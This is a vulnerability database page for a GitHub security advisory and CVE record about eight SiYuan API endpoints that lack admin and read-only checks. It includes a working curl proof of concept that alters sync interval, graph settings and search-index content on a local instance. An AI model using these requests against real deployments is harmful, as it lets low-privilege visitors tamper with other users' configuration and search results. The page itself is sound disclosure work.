Vulnerability-Lookup

GHSA-GMMV-4CC5-WR9R

Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-15 23:45

Summary

SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

Details

Summary

SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of <workspace>/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them. This is the same root-cause class as the patched GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.

Details

Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD 96dfe0be).

The router in kernel/api/router.go registers each endpoint below with model.CheckAuth only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:

kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only
kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only
kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only
kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only
kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only
kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only
kernel/api/router.go:400 /api/graph/getGraph CheckAuth only
kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only

# Compare the gated siblings on adjacent lines:
kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly

Per-handler evidence:

kernel/api/graph.go:53 getGraph. Despite the verb "get", the body unconditionally overwrites model.Conf.Graph.Global from caller-supplied JSON and persists the entire workspace conf.json:

graphConf, err := gulu.JSON.MarshalJSON(confArg)
...
global := conf.NewGlobalGraph()
gulu.JSON.UnmarshalJSON(graphConf, global)
model.Conf.Graph.Global = global // attacker-controlled write
model.Conf.Save() // atomic rewrite of conf.json

kernel/api/graph.go:106 getLocalGraph. Same pattern on model.Conf.Graph.Local. Note the legitimate writers resetGraph (graph.go:29) and resetLocalGraph (graph.go:41) only set the struct to its constructor default (NewGlobalGraph() / NewLocalGraph()), whereas getGraph / getLocalGraph accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.

kernel/api/sync.go:597 setSyncInterval. Calls model.SetSyncInterval(int(interval)) (kernel/model/sync.go:394) which writes Conf.Sync.Interval, persists Conf.Save(), and reschedules the sync goroutine via planSyncAfter. The model layer clamps the interval to [30, 43200], but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).

kernel/api/search.go:287 updateEmbedBlock. Calls model.UpdateEmbedBlock(id, content) (kernel/model/search.go:198), which validates only that the block type is BlockQueryEmbed and then forwards to updateEmbedBlockContent (kernel/model/index.go:342). That helper rewrites the SQL blocks row's content column for the given embed-block ID via sql.UpdateBlockContentQueue. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL content column is what fullTextSearchBlock and getEmbedBlock read from, so a Reader can poison search results visible to other users.

kernel/api/storage.go:251,295,273,317 updateRecentDocViewTime / updateRecentDocCloseTime / updateRecentDocOpenTime / batchUpdateRecentDocCloseTime. Each rewrites the workspace recent-docs JSON file under recentDocLock (kernel/model/storage.go:171,213 ...). A Reader can register any rootID (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history.

The bugs have all existed since v3.6.5 (the active release tag) and the live master branch. Two adjacent advisories already patched the exact same shape: GHSA-6r88-8v7q-q4p2 (getTag writing Conf.Tag.Sort) and GHSA-4j3x-hhg2-fm2x (renderSprig missing CheckAdminRole + CheckReadonly). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.

PoC

Source-level reproduction. The same Docker compose lab the maintainers used for GHSA-6r88 works here:

# 1. Authenticate as any role with CheckAuth (admin used here for convenience;
# a publish-mode Reader JWT works equivalently).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
 -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
 -H 'Content-Type: application/json' -d '{}' \
 | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])"

# 3. setSyncInterval as Reader.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \
 -H 'Content-Type: application/json' -d '{"interval":30}'

# 4. getGraph as Reader, supplying a custom graph config struct.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \
 -H 'Content-Type: application/json' \
 -d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}'

# 5. Confirm in-memory and on-disk persistence.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
 -H 'Content-Type: application/json' -d '{}' \
 | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval AFTER =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])"

docker exec siyuan-audit grep -oE '\"interval\":[0-9]+' /siyuan/workspace/conf/conf.json
docker exec siyuan-audit grep -oE '\"minRefs\":[0-9]+' /siyuan/workspace/conf/conf.json

# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \
 -H 'Content-Type: application/json' \
 -d '{"id":"<embed-block-id>","content":"poisoned"}'

Source-level proof, no privileged token involved:

$ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \
 kernel/api/router.go \
 | grep -vE 'CheckAdminRole|CheckReadonly'
kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ...
kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ...
kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ...
kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ...
kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ...
kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ...

Standing up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for GHSA-fmh9-gpqh-g53g and GHSA-6r88-8v7q-q4p2 published 2026-05-08.

Impact

A publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a Editor.ReadOnly = true workspace can:

Atomically rewrite <workspace>/conf/conf.json via Conf.Save() from setSyncInterval, getGraph, getLocalGraph. Conf.Save() rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window.
Set the cloud sync interval to either bound of the [30, 43200] clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible "Sync enabled" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly.
Overwrite Conf.Graph.Global and Conf.Graph.Local with a caller-controlled struct, breaking graph rendering for the admin (extreme maxBlocks, minRefs, nodeSize, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting.
Poison the SQL blocks.content column for any embed-block ID via updateEmbedBlock. Search functions that read the SQL index (fullTextSearchBlock, getEmbedBlock) return the poisoned content to other users, so a Reader can plant content other users will see.
Manipulate the recent-documents list seen by the admin via the four updateRecentDoc* writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation).

The fix is a one-token edit per registration: add model.CheckAdminRole and model.CheckReadonly to each affected ginServer.Handle call, mirroring the gated siblings and the patches for GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.

Severity

7.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512140701-d7b77d945e0d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:52Z",
    "nvd_published_at": "2026-05-14T19:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs\n\n`POST /api/graph/getGraph`, `POST /api/graph/getLocalGraph`, `POST /api/sync/setSyncInterval`, `POST /api/storage/updateRecentDocViewTime`, `POST /api/storage/updateRecentDocCloseTime`, `POST /api/storage/updateRecentDocOpenTime`, `POST /api/storage/batchUpdateRecentDocCloseTime`, and `POST /api/search/updateEmbedBlock` are registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`. Each of them writes server-side state, including atomic rewrites of `\u003cworkspace\u003e/conf/conf.json` via `model.Conf.Save()`. Any caller whose JWT passes `CheckAuth`, including a publish-service `RoleReader` (the role assigned to anonymous publish visitors) and a `RoleEditor` against a workspace where `Editor.ReadOnly = true`, can hit them. This is the same root-cause class as the patched `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.\n\n### Details\n\nAffected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD `96dfe0be`).\n\nThe router in `kernel/api/router.go` registers each endpoint below with `model.CheckAuth` only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:\n\n```bash\nkernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only\nkernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only\nkernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only\nkernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only\nkernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only\nkernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only\nkernel/api/router.go:400 /api/graph/getGraph CheckAuth only\nkernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only\n\n# Compare the gated siblings on adjacent lines:\nkernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly\n```\n\nPer-handler evidence:\n\n`kernel/api/graph.go:53` `getGraph`. Despite the verb \"get\", the body unconditionally overwrites `model.Conf.Graph.Global` from caller-supplied JSON and persists the entire workspace `conf.json`:\n\n```\ngraphConf, err := gulu.JSON.MarshalJSON(confArg)\n...\nglobal := conf.NewGlobalGraph()\ngulu.JSON.UnmarshalJSON(graphConf, global)\nmodel.Conf.Graph.Global = global // attacker-controlled write\nmodel.Conf.Save() // atomic rewrite of conf.json\n```\n\n`kernel/api/graph.go:106` `getLocalGraph`. Same pattern on `model.Conf.Graph.Local`. Note the legitimate writers `resetGraph` (`graph.go:29`) and `resetLocalGraph` (`graph.go:41`) only set the struct to its constructor default (`NewGlobalGraph()` / `NewLocalGraph()`), whereas `getGraph` / `getLocalGraph` accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.\n\n`kernel/api/sync.go:597` `setSyncInterval`. Calls `model.SetSyncInterval(int(interval))` (`kernel/model/sync.go:394`) which writes `Conf.Sync.Interval`, persists `Conf.Save()`, and reschedules the sync goroutine via `planSyncAfter`. The model layer clamps the interval to `[30, 43200]`, but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).\n\n`kernel/api/search.go:287` `updateEmbedBlock`. Calls `model.UpdateEmbedBlock(id, content)` (`kernel/model/search.go:198`), which validates only that the block type is `BlockQueryEmbed` and then forwards to `updateEmbedBlockContent` (`kernel/model/index.go:342`). That helper rewrites the SQL `blocks` row\u0027s `content` column for the given embed-block ID via `sql.UpdateBlockContentQueue`. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL `content` column is what `fullTextSearchBlock` and `getEmbedBlock` read from, so a Reader can poison search results visible to other users.\n\n`kernel/api/storage.go:251,295,273,317` `updateRecentDocViewTime` / `updateRecentDocCloseTime` / `updateRecentDocOpenTime` / `batchUpdateRecentDocCloseTime`. Each rewrites the workspace recent-docs JSON file under `recentDocLock` (`kernel/model/storage.go:171,213` ...). A Reader can register any `rootID` (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin\u0027s recently-opened-documents UI and history.\n\nThe bugs have all existed since v3.6.5 (the active release tag) and the live `master` branch. Two adjacent advisories already patched the exact same shape: `GHSA-6r88-8v7q-q4p2` (`getTag` writing `Conf.Tag.Sort`) and `GHSA-4j3x-hhg2-fm2x` (`renderSprig` missing `CheckAdminRole + CheckReadonly`). Both are listed by the maintainers as occurrences \"the same root-cause class\" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.\n\n### PoC\n\nSource-level reproduction. The same Docker compose lab the maintainers used for `GHSA-6r88` works here:\n\n```bash\n# 1. Authenticate as any role with CheckAuth (admin used here for convenience;\n# a publish-mode Reader JWT works equivalently).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"authCode\":\"audittest\"}\u0027 \u003e/dev/null\n\n# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python3 -c \"import json,sys;c=json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027];\\\nprint(\u0027Conf.Sync.Interval BEFORE =\u0027,c[\u0027sync\u0027][\u0027interval\u0027]);\\\nprint(\u0027Conf.Graph.Global.minRefs BEFORE =\u0027,c[\u0027graph\u0027][\u0027global\u0027][\u0027minRefs\u0027])\"\n\n# 3. setSyncInterval as Reader.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"interval\":30}\u0027\n\n# 4. getGraph as Reader, supplying a custom graph config struct.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"k\":\"\",\"conf\":{\"minRefs\":99,\"maxBlocks\":1,\"d3\":{\"linkWidth\":99}}}\u0027\n\n# 5. Confirm in-memory and on-disk persistence.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python3 -c \"import json,sys;c=json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027];\\\nprint(\u0027Conf.Sync.Interval AFTER =\u0027,c[\u0027sync\u0027][\u0027interval\u0027]);\\\nprint(\u0027Conf.Graph.Global.minRefs AFTER =\u0027,c[\u0027graph\u0027][\u0027global\u0027][\u0027minRefs\u0027])\"\n\ndocker exec siyuan-audit grep -oE \u0027\\\"interval\\\":[0-9]+\u0027 /siyuan/workspace/conf/conf.json\ndocker exec siyuan-audit grep -oE \u0027\\\"minRefs\\\":[0-9]+\u0027 /siyuan/workspace/conf/conf.json\n\n# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"id\":\"\u003cembed-block-id\u003e\",\"content\":\"poisoned\"}\u0027\n```\n\nSource-level proof, no privileged token involved:\n\n```bash\n$ grep -nE \u0027ginServer\\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)\u0027 \\\n kernel/api/router.go \\\n | grep -vE \u0027CheckAdminRole|CheckReadonly\u0027\nkernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime\", model.CheckAuth, ...\nkernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime\", model.CheckAuth, ...\nkernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime\", model.CheckAuth, ...\nkernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime\", model.CheckAuth, ...\nkernel/api/router.go:188: ... /api/search/updateEmbedBlock\", model.CheckAuth, ...\nkernel/api/router.go:279: ... /api/sync/setSyncInterval\", model.CheckAuth, ...\nkernel/api/router.go:400: ... /api/graph/getGraph\", model.CheckAuth, ...\nkernel/api/router.go:401: ... /api/graph/getLocalGraph\", model.CheckAuth, ...\n```\n\nStanding up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories\u0027 fix pattern are the same evidence the maintainers accepted for `GHSA-fmh9-gpqh-g53g` and `GHSA-6r88-8v7q-q4p2` published 2026-05-08.\n\n### Impact\n\nA publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a `Editor.ReadOnly = true` workspace can:\n\n1. Atomically rewrite `\u003cworkspace\u003e/conf/conf.json` via `Conf.Save()` from `setSyncInterval`, `getGraph`, `getLocalGraph`. `Conf.Save()` rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window.\n2. Set the cloud sync interval to either bound of the `[30, 43200]` clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible \"Sync enabled\" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly.\n3. Overwrite `Conf.Graph.Global` and `Conf.Graph.Local` with a caller-controlled struct, breaking graph rendering for the admin (extreme `maxBlocks`, `minRefs`, `nodeSize`, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting.\n4. Poison the SQL `blocks.content` column for any embed-block ID via `updateEmbedBlock`. Search functions that read the SQL index (`fullTextSearchBlock`, `getEmbedBlock`) return the poisoned content to other users, so a Reader can plant content other users will see.\n5. Manipulate the recent-documents list seen by the admin via the four `updateRecentDoc*` writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation).\n\nThe fix is a one-token edit per registration: add `model.CheckAdminRole` and `model.CheckReadonly` to each affected `ginServer.Handle` call, mirroring the gated siblings and the patches for `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.",
  "id": "GHSA-gmmv-4cc5-wr9r",
  "modified": "2026-05-15T23:45:43Z",
  "published": "2026-05-13T15:33:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gmmv-4cc5-wr9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45371"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs"
}

CVE-2026-45371 (GCVE-0-2026-45371)

Vulnerability from cvelistv5 – Published: 2026-05-14 18:14 – Updated: 2026-05-15 18:05

Title

SiYuan: SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

Summary

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs. POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of <workspace>/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them This vulnerability is fixed in 3.7.0.

Severity

7.2 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-285 - Improper Authorization
CWE-862 - Missing Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.7.0

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{
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    "adp": [
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        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45371",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-15T16:29:13.878242Z",
                "version": "2.0.3"
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        "providerMetadata": {
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          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gmmv-4cc5-wr9r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs. POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of \u003cworkspace\u003e/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them This vulnerability is fixed in 3.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-14T18:14:51.370Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gmmv-4cc5-wr9r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gmmv-4cc5-wr9r"
        }
      ],
      "source": {
        "advisory": "GHSA-gmmv-4cc5-wr9r",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan: SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45371",
    "datePublished": "2026-05-14T18:14:51.370Z",
    "dateReserved": "2026-05-12T00:51:29.086Z",
    "dateUpdated": "2026-05-15T18:05:19.202Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-GMMV-4CC5-WR9R

Summary

Details

PoC

Impact

CVE-2026-45371 (GCVE-0-2026-45371)

Tags

Sightings

Nomenclature